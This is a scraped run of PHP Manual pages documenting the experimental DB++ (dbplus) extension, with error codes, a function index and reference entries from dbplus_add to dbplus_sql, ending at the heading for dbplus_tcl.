DBPLUS_ERR_TCL (integer) | ERR_TCL | TCL_error
DBPLUS_ERR_RESTRICTED (integer) | ERR_RESTRICTED | Only two users
DBPLUS_ERR_USER (integer) | ERR_USER | An error in the use of the library by an application programmer
DBPLUS_ERR_UNKNOWN (integer) | ERR_UNKNOWN |

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
DB++ Functions
Predefined Constants


DB++ Functions

Table of Contents

  • dbplus_add — Add a tuple to a relation
  • dbplus_aql — Perform AQL query
  • dbplus_chdir — Get/Set database virtual current directory
  • dbplus_close — Close a relation
  • dbplus_curr — Get current tuple from relation
  • dbplus_errcode — Get error string for given errorcode or last error
  • dbplus_errno — Get error code for last operation
  • dbplus_find — Set a constraint on a relation
  • dbplus_first — Get first tuple from relation
  • dbplus_flush — Flush all changes made on a relation
  • dbplus_freealllocks — Free all locks held by this client
  • dbplus_freelock — Release write lock on tuple
  • dbplus_freerlocks — Free all tuple locks on given relation
  • dbplus_getlock — Get a write lock on a tuple
  • dbplus_getunique — Get an id number unique to a relation
  • dbplus_info — Get information about a relation
  • dbplus_last — Get last tuple from relation
  • dbplus_lockrel — Request write lock on relation
  • dbplus_next — Get next tuple from relation
  • dbplus_open — Open relation file
  • dbplus_prev — Get previous tuple from relation
  • dbplus_rchperm — Change relation permissions
  • dbplus_rcreate — Creates a new DB++ relation
  • dbplus_rcrtexact — Creates an exact but empty copy of a relation including indices
  • dbplus_rcrtlike — Creates an empty copy of a relation with default indices
  • dbplus_resolve — Resolve host information for relation
  • dbplus_restorepos — Restore position
  • dbplus_rkeys — Specify new primary key for a relation
  • dbplus_ropen — Open relation file local
  • dbplus_rquery — Perform local (raw) AQL query
  • dbplus_rrename — Rename a relation
  • dbplus_rsecindex — Create a new secondary index for a relation
  • dbplus_runlink — Remove relation from filesystem
  • dbplus_rzap — Remove all tuples from relation
  • dbplus_savepos — Save position
  • dbplus_setindex — Set index
  • dbplus_setindexbynumber — Set index by number
  • dbplus_sql — Perform SQL query
  • dbplus_tcl — Execute TCL code on server side
  • dbplus_tremove — Remove tuple and return new current tuple
  • dbplus_undo — Undo
  • dbplus_undoprepare — Prepare undo
  • dbplus_unlockrel — Give up write lock on relation
  • dbplus_unselect — Remove a constraint from relation
  • dbplus_update — Update specified tuple in relation
  • dbplus_xlockrel — Request exclusive lock on relation
  • dbplus_xunlockrel — Free exclusive lock on relation

User Contributed Notes

There are no user contributed notes for this page.
db++ error codes
dbplus_add
DB++


Add a tuple to a relation

DB++ Functions
dbplus_aql
DB++ Functions
PHP Manual

dbplus_add

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_add — Add a tuple to a relation

Description

int dbplus_add ( resource $relation , array $tuple )

Adds a tuple to a relation.

Parameters

relation

tuple

An array of attribute/value pairs to be inserted into the given relation.

After successful execution this array will contain the complete data of the newly created tuple, including all implicitly set domain fields like sequences.

Return Values

The function will return DBPLUS_ERR_NOERR on success or a db++ error code on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_errcode() - Get error string for given errorcode or last error

User Contributed Notes

There are no user contributed notes for this page.
DB++ Functions
dbplus_aql
DB++ Functions


Perform AQL query

dbplus_add
dbplus_chdir
DB++ Functions
PHP Manual

dbplus_aql

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_aql — Perform AQL query

Description

resource dbplus_aql ( string $query [, string $server [, string $dbpath ]] )

Executes an AQL query on the given server and dbpath.

Parameters

query

The AQL query to be executed. Further information on the AQL (Algebraic Query Language) is provided in the original db++ manual.

server

dbpath

Return Values

Returns a relation handle on success. The result data may be fetched from this relation by calling dbplus_next() and dbplus_curr(). Other relation access functions will not work on a result relation.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_add
dbplus_chdir
DB++ Functions


Get/Set database virtual current directory

dbplus_aql
dbplus_close
DB++ Functions
PHP Manual

dbplus_chdir

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_chdir — Get/Set database virtual current directory

Description

string dbplus_chdir ([ string $newdir ] )

Changes the virtual current directory where relation files will be looked for by dbplus_open().

Parameters

newdir

The new directory for relation files. You can omit this parameter to query the current working directory.

Return Values

Returns the absolute path of the current directory.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_aql
dbplus_close
DB++ Functions


Close a relation

dbplus_chdir
dbplus_curr
DB++ Functions
PHP Manual

dbplus_close

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_close — Close a relation

Description

mixed dbplus_close ( resource $relation )

Closes a relation previously opened by dbplus_open().

Parameters

relation

A relation opened by dbplus_open().

Return Values

Returns TRUE on success or DBPLUS_ERR_UNKNOWN on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_chdir
dbplus_curr
DB++ Functions


Get current tuple from relation

dbplus_close
dbplus_errcode
DB++ Functions
PHP Manual

dbplus_curr

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_curr — Get current tuple from relation

Description

int dbplus_curr ( resource $relation , array &$tuple )

Reads the data for the current tuple for the given relation.

Parameters

relation

A relation opened by dbplus_open().

tuple

The data will be passed back in this parameter, as an associative array.

Return Values

The function will return zero (aka. DBPLUS_ERR_NOERR) on success or a db++ error code on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_first() - Get first tuple from relation
  • dbplus_prev() - Get previous tuple from relation
  • dbplus_next() - Get next tuple from relation
  • dbplus_last() - Get last tuple from relation
  • dbplus_errcode() - Get error string for given errorcode or last error

User Contributed Notes

There are no user contributed notes for this page.
dbplus_close
dbplus_errcode
DB++ Functions


Get error string for given errorcode or last error

dbplus_curr
dbplus_errno
DB++ Functions
PHP Manual

dbplus_errcode

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_errcode — Get error string for given errorcode or last error

Description

string dbplus_errcode ([ int $errno ] )

Returns a clear error string for the given error code.

Parameters

errno

The error code. If not provided, the result code of the last db++ operation is assumed.

Return Values

Returns the error message.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_curr
dbplus_errno
DB++ Functions


Get error code for last operation

dbplus_errcode
dbplus_find
DB++ Functions
PHP Manual

dbplus_errno

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_errno — Get error code for last operation

Description

int dbplus_errno ( void )

Returns the error code returned by the last db++ operation.

Return Values

Returns the error code, as an integer.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_errcode() - Get error string for given errorcode or last error

User Contributed Notes

There are no user contributed notes for this page.
dbplus_errcode
dbplus_find
DB++ Functions


Set a constraint on a relation

dbplus_errno
dbplus_first
DB++ Functions
PHP Manual

dbplus_find

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_find — Set a constraint on a relation

Description

int dbplus_find ( resource $relation , array $constraints , mixed $tuple )

Places a constraint on the given relation.

Further calls to functions like dbplus_curr() or dbplus_next() will only return tuples matching the given constraints.

Parameters

relation

A relation opened by dbplus_open().

constraints

Constraints are triplets of strings containing of a domain name, a comparison operator and a comparison value. The constraints parameter array may consist of a collection of string arrays, each of which contains a domain, an operator and a value, or of a single string array containing a multiple of three elements.

The comparison operator may be one of the following strings: '==', '>', '>=', '<', '<=', '!=', '~' for a regular expression match and 'BAND' or 'BOR' for bitwise operations.

tuple

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_unselect() - Remove a constraint from relation

User Contributed Notes

There are no user contributed notes for this page.
dbplus_errno
dbplus_first
DB++ Functions


Get first tuple from relation

dbplus_find
dbplus_flush
DB++ Functions
PHP Manual

dbplus_first

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_first — Get first tuple from relation

Description

int dbplus_first ( resource $relation , array &$tuple )

Reads the data for the first tuple for the given relation, makes it the current tuple and pass it back as an associative array in tuple.

Parameters

relation

A relation opened by dbplus_open().

tuple

Return Values

Returns DBPLUS_ERR_NOERR on success or a db++ error code on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_curr() - Get current tuple from relation
  • dbplus_prev() - Get previous tuple from relation
  • dbplus_next() - Get next tuple from relation
  • dbplus_last() - Get last tuple from relation
  • dbplus_errcode() - Get error string for given errorcode or last error

User Contributed Notes

There are no user contributed notes for this page.
dbplus_find
dbplus_flush
DB++ Functions


Flush all changes made on a relation

dbplus_first
dbplus_freealllocks
DB++ Functions
PHP Manual

dbplus_flush

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_flush — Flush all changes made on a relation

Description

int dbplus_flush ( resource $relation )

Writes all changes applied to relation since the last flush to disk.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Returns DBPLUS_ERR_NOERR on success or a db++ error code on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_errcode() - Get error string for given errorcode or last error

User Contributed Notes

There are no user contributed notes for this page.
dbplus_first
dbplus_freealllocks
DB++ Functions


Free all locks held by this client

dbplus_flush
dbplus_freelock
DB++ Functions
PHP Manual

dbplus_freealllocks

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_freealllocks — Free all locks held by this client

Description

int dbplus_freealllocks ( void )

Frees all tuple locks held by this client.

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_getlock() - Get a write lock on a tuple
  • dbplus_freelock() - Release write lock on tuple
  • dbplus_freerlocks() - Free all tuple locks on given relation

User Contributed Notes

There are no user contributed notes for this page.
dbplus_flush
dbplus_freelock
DB++ Functions


Release write lock on tuple

dbplus_freealllocks
dbplus_freerlocks
DB++ Functions
PHP Manual

dbplus_freelock

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_freelock — Release write lock on tuple

Description

int dbplus_freelock ( resource $relation , string $tuple )

Releases a write lock on the given tuple previously obtained by dbplus_getlock().

Parameters

relation

A relation opened by dbplus_open().

tuple

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_getlock() - Get a write lock on a tuple
  • dbplus_freerlocks() - Free all tuple locks on given relation
  • dbplus_freealllocks() - Free all locks held by this client

User Contributed Notes

There are no user contributed notes for this page.
dbplus_freealllocks
dbplus_freerlocks
DB++ Functions


Free all tuple locks on given relation

dbplus_freelock
dbplus_getlock
DB++ Functions
PHP Manual

dbplus_freerlocks

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_freerlocks — Free all tuple locks on given relation

Description

int dbplus_freerlocks ( resource $relation )

Frees all tuple locks held on the given relation.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_getlock() - Get a write lock on a tuple
  • dbplus_freelock() - Release write lock on tuple
  • dbplus_freealllocks() - Free all locks held by this client

User Contributed Notes

There are no user contributed notes for this page.
dbplus_freelock
dbplus_getlock
DB++ Functions


Get a write lock on a tuple

dbplus_freerlocks
dbplus_getunique
DB++ Functions
PHP Manual

dbplus_getlock

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_getlock — Get a write lock on a tuple

Description

int dbplus_getlock ( resource $relation , string $tuple )

Requests a write lock on the specified tuple.

Parameters

relation

A relation opened by dbplus_open().

tuple

Return Values

Returns zero on success or a non-zero error code, especially DBPLUS_ERR_WLOCKED on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_freelock() - Release write lock on tuple
  • dbplus_freerlocks() - Free all tuple locks on given relation
  • dbplus_freealllocks() - Free all locks held by this client

User Contributed Notes

There are no user contributed notes for this page.
dbplus_freerlocks
dbplus_getunique
DB++ Functions


Get an id number unique to a relation

dbplus_getlock
dbplus_info
DB++ Functions
PHP Manual

dbplus_getunique

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_getunique — Get an id number unique to a relation

Description

int dbplus_getunique ( resource $relation , int $uniqueid )

Obtains a number guaranteed to be unique for the given relation and will pass it back in the variable given as uniqueid.

Parameters

relation

A relation opened by dbplus_open().

uniqueid

Return Values

Returns DBPLUS_ERR_NOERR on success or a db++ error code on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_getlock
dbplus_info
DB++ Functions


Get information about a relation

dbplus_getunique
dbplus_last
DB++ Functions
PHP Manual

dbplus_info

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_info — Get information about a relation

Description

int dbplus_info ( resource $relation , string $key , array &$result )
Warning

This function is currently not documented; only its argument list is available.

Parameters

relation

A relation opened by dbplus_open().

key

result

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_getunique
dbplus_last
DB++ Functions


Get last tuple from relation

dbplus_info
dbplus_lockrel
DB++ Functions
PHP Manual

dbplus_last

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_last — Get last tuple from relation

Description

int dbplus_last ( resource $relation , array &$tuple )

Reads the data for the last tuple for the given relation, makes it the current tuple and pass it back as an associative array in tuple.

Parameters

relation

A relation opened by dbplus_open().

tuple

Return Values

Returns DBPLUS_ERR_NOERR on success or a db++ error code on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_first() - Get first tuple from relation
  • dbplus_curr() - Get current tuple from relation
  • dbplus_prev() - Get previous tuple from relation
  • dbplus_next() - Get next tuple from relation

User Contributed Notes

There are no user contributed notes for this page.
dbplus_info
dbplus_lockrel
DB++ Functions


Request write lock on relation

dbplus_last
dbplus_next
DB++ Functions
PHP Manual

dbplus_lockrel

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_lockrel — Request write lock on relation

Description

int dbplus_lockrel ( resource $relation )

Requests a write lock on the given relation.

Other clients may still query the relation, but can't alter it while it is locked.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_last
dbplus_next
DB++ Functions


Get next tuple from relation

dbplus_lockrel
dbplus_open
DB++ Functions
PHP Manual

dbplus_next

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_next — Get next tuple from relation

Description

int dbplus_next ( resource $relation , array &$tuple )

Reads the data for the next tuple for the given relation, makes it the current tuple and will pass it back as an associative array in tuple.

Parameters

relation

A relation opened by dbplus_open().

tuple

Return Values

Returns DBPLUS_ERR_NOERR on success or a db++ error code on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_first() - Get first tuple from relation
  • dbplus_curr() - Get current tuple from relation
  • dbplus_prev() - Get previous tuple from relation
  • dbplus_last() - Get last tuple from relation

User Contributed Notes

There are no user contributed notes for this page.
dbplus_lockrel
dbplus_open
DB++ Functions


Open relation file

dbplus_next
dbplus_prev
DB++ Functions
PHP Manual

dbplus_open

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_open — Open relation file

Description

resource dbplus_open ( string $name )

Opens the given relation file.

Parameters

name

Can be either a file name or a relative or absolute path name. This will be mapped in any case to an absolute relation file path on a specific host machine and server.

Return Values

On success a relation file resource (cursor) is returned which must be used in any subsequent commands referencing the relation. Failure leads to a zero return value, the actual error code may be asked for by calling dbplus_errno().

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_next
dbplus_prev
DB++ Functions


Get previous tuple from relation

dbplus_open
dbplus_rchperm
DB++ Functions
PHP Manual

dbplus_prev

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_prev — Get previous tuple from relation

Description

int dbplus_prev ( resource $relation , array &$tuple )

Reads the data for the previous tuple for the given relation, makes it the current tuple and will pass it back as an associative array in tuple.

Parameters

relation

A relation opened by dbplus_open().

tuple

Return Values

Returns DBPLUS_ERR_NOERR on success or a db++ error code on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_first() - Get first tuple from relation
  • dbplus_curr() - Get current tuple from relation
  • dbplus_next() - Get next tuple from relation
  • dbplus_last() - Get last tuple from relation

User Contributed Notes

There are no user contributed notes for this page.
dbplus_open
dbplus_rchperm
DB++ Functions


Change relation permissions

dbplus_prev
dbplus_rcreate
DB++ Functions
PHP Manual

dbplus_rchperm

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_rchperm — Change relation permissions

Description

int dbplus_rchperm ( resource $relation , int $mask , string $user , string $group )

Changes access permissions as specified by mask, user and group. The values for these are operating system specific.

Parameters

relation

A relation opened by dbplus_open().

mask

user

group

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_prev
dbplus_rcreate
DB++ Functions


Creates a new DB++ relation

dbplus_rchperm
dbplus_rcrtexact
DB++ Functions
PHP Manual

dbplus_rcreate

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_rcreate — Creates a new DB++ relation

Description

resource dbplus_rcreate ( string $name , mixed $domlist [, bool $overwrite ] )

Creates a new relation. Any existing relation sharing the same name will be overwritten if the relation is currently not in use and overwrite is set to TRUE.

Parameters

name

domlist

A combination of domains. May be passed as a single domain name string or as an array of domain names.

This parameter should contain the domain specification for the new relation within an array of domain description strings. A domain description string consists of a domain name unique to this relation, a slash and a type specification character. See the db++ documentation, especially the dbcreate(1) manpage, for a description of available type specifiers and their meanings.

Note:

This function will also accept a string with space delimited domain description strings, but it is recommended to use an array

overwrite

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_rchperm
dbplus_rcrtexact
DB++ Functions


Creates an exact but empty copy of a relation including indices

dbplus_rcreate
dbplus_rcrtlike
DB++ Functions
PHP Manual

dbplus_rcrtexact

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_rcrtexact — Creates an exact but empty copy of a relation including indices

Description

mixed dbplus_rcrtexact ( string $name , resource $relation [, bool $overwrite ] )

dbplus_rcrtexact() will create an exact but empty copy of the given relation under a new name.

Parameters

name

relation

The copied relation, opened by dbplus_open().

overwrite

An existing relation by the same name will only be overwritten if this parameter is set to TRUE and no other process is currently using the relation.

Return Values

Returns resource on success or DBPLUS_ERR_UNKNOWN on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_rcreate
dbplus_rcrtlike
DB++ Functions


Creates an empty copy of a relation with default indices

dbplus_rcrtexact
dbplus_resolve
DB++ Functions
PHP Manual

dbplus_rcrtlike

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_rcrtlike — Creates an empty copy of a relation with default indices

Description

mixed dbplus_rcrtlike ( string $name , resource $relation [, int $overwrite ] )

dbplus_rcrtexact() will create an empty copy of the given relation under a new name, but with default indices.

Parameters

name

relation

The copied relation, opened by dbplus_open().

overwrite

An existing relation by the same name will only be overwritten if this parameter is set to TRUE and no other process is currently using the relation.

Return Values

Returns resource on success or DBPLUS_ERR_UNKNOWN on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_rcrtexact
dbplus_resolve
DB++ Functions


Resolve host information for relation

dbplus_rcrtlike
dbplus_restorepos
DB++ Functions
PHP Manual

dbplus_resolve

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_resolve — Resolve host information for relation

Description

array dbplus_resolve ( string $relation_name )

dbplus_resolve() will try to resolve the given relation_name and find out internal server id, real hostname and the database path on this host.

Parameters

relation_name

The relation name.

Return Values

Returns an array containing these values under the keys sid, host and host_path or FALSE on error.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • dbplus_tcl() - Execute TCL code on server side

User Contributed Notes

There are no user contributed notes for this page.
dbplus_rcrtlike
dbplus_restorepos
DB++ Functions


Restore position

dbplus_resolve
dbplus_rkeys
DB++ Functions
PHP Manual

dbplus_restorepos

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_restorepos — Restore position

Description

int dbplus_restorepos ( resource $relation , array $tuple )
Warning

This function is currently not documented; only its argument list is available.

Parameters

relation

A relation opened by dbplus_open().

tuple

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_resolve
dbplus_rkeys
DB++ Functions


Specify new primary key for a relation

dbplus_restorepos
dbplus_ropen
DB++ Functions
PHP Manual

dbplus_rkeys

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_rkeys — Specify new primary key for a relation

Description

mixed dbplus_rkeys ( resource $relation , mixed $domlist )

dbplus_rkeys() will replace the current primary key for relation with the combination of domains specified by domlist.

Parameters

relation

A relation opened by dbplus_open().

domlist

A combination of domains. May be passed as a single domain name string or as an array of domain names.

Return Values

Returns resource on success or DBPLUS_ERR_UNKNOWN on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_restorepos
dbplus_ropen
DB++ Functions


Open relation file local

dbplus_rkeys
dbplus_rquery
DB++ Functions
PHP Manual

dbplus_ropen

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_ropen — Open relation file local

Description

resource dbplus_ropen ( string $name )

dbplus_ropen() will open the relation file locally for quick access without any client/server overhead. Access is read only and only dbplus_curr() and dbplus_next() may be applied to the returned relation.

Parameters

name

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_rkeys
dbplus_rquery
DB++ Functions


Perform local (raw) AQL query

dbplus_ropen
dbplus_rrename
DB++ Functions
PHP Manual

dbplus_rquery

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_rquery — Perform local (raw) AQL query

Description

resource dbplus_rquery ( string $query [, string $dbpath ] )

dbplus_rquery() performs a local (raw) AQL query using an AQL interpreter embedded into the db++ client library. dbplus_rquery() is faster than dbplus_aql() but will work on local data only.

Parameters

query

dbpath

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_ropen
dbplus_rrename
DB++ Functions


Rename a relation

dbplus_rquery
dbplus_rsecindex
DB++ Functions
PHP Manual

dbplus_rrename

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_rrename — Rename a relation

Description

int dbplus_rrename ( resource $relation , string $name )

dbplus_rrename() will change the name of relation to name.

Parameters

relation

A relation opened by dbplus_open().

name

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_rquery
dbplus_rsecindex
DB++ Functions


Create a new secondary index for a relation

dbplus_rrename
dbplus_runlink
DB++ Functions
PHP Manual

dbplus_rsecindex

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_rsecindex — Create a new secondary index for a relation

Description

mixed dbplus_rsecindex ( resource $relation , mixed $domlist , int $type )

dbplus_rsecindex() will create a new secondary index for relation with consists of the domains specified by domlist and is of type type

Parameters

relation

A relation opened by dbplus_open().

domlist

A combination of domains. May be passed as a single domain name string or as an array of domain names.

type

Return Values

Returns resource on success or DBPLUS_ERR_UNKNOWN on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_rrename
dbplus_runlink
DB++ Functions


Remove relation from filesystem

dbplus_rsecindex
dbplus_rzap
DB++ Functions
PHP Manual

dbplus_runlink

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_runlink — Remove relation from filesystem

Description

int dbplus_runlink ( resource $relation )

dbplus_runlink() will close and remove the relation.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_rsecindex
dbplus_rzap
DB++ Functions


Remove all tuples from relation

dbplus_runlink
dbplus_savepos
DB++ Functions
PHP Manual

dbplus_rzap

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_rzap — Remove all tuples from relation

Description

int dbplus_rzap ( resource $relation )

dbplus_rzap() will remove all tuples from relation.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_runlink
dbplus_savepos
DB++ Functions


Save position

dbplus_rzap
dbplus_setindex
DB++ Functions
PHP Manual

dbplus_savepos

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_savepos — Save position

Description

int dbplus_savepos ( resource $relation )
Warning

This function is currently not documented; only its argument list is available.

Parameters

relation

A relation opened by dbplus_open().

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_rzap
dbplus_setindex
DB++ Functions


Set index

dbplus_savepos
dbplus_setindexbynumber
DB++ Functions
PHP Manual

dbplus_setindex

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_setindex — Set index

Description

int dbplus_setindex ( resource $relation , string $idx_name )
Warning

This function is currently not documented; only its argument list is available.

Parameters

relation

A relation opened by dbplus_open().

idx_name

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_savepos
dbplus_setindexbynumber
DB++ Functions


Set index by number

dbplus_setindex
dbplus_sql
DB++ Functions
PHP Manual

dbplus_setindexbynumber

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_setindexbynumber — Set index by number

Description

int dbplus_setindexbynumber ( resource $relation , int $idx_number )
Warning

This function is currently not documented; only its argument list is available.

Parameters

relation

A relation opened by dbplus_open().

idx_number

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_setindex
dbplus_sql
DB++ Functions


Perform SQL query

dbplus_setindexbynumber
dbplus_tcl
DB++ Functions
PHP Manual

dbplus_sql

(PHP 4 <= 4.1.0, PECL dbplus >= 0.9)

dbplus_sql — Perform SQL query

Description

resource dbplus_sql ( string $query [, string $server [, string $dbpath ]] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

query

server

dbpath

Return Values

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
dbplus_setindexbynumber
dbplus_tcl
DB++ Functions


Execute TCL code on server side

dbplus_sql
dbplus_tremove
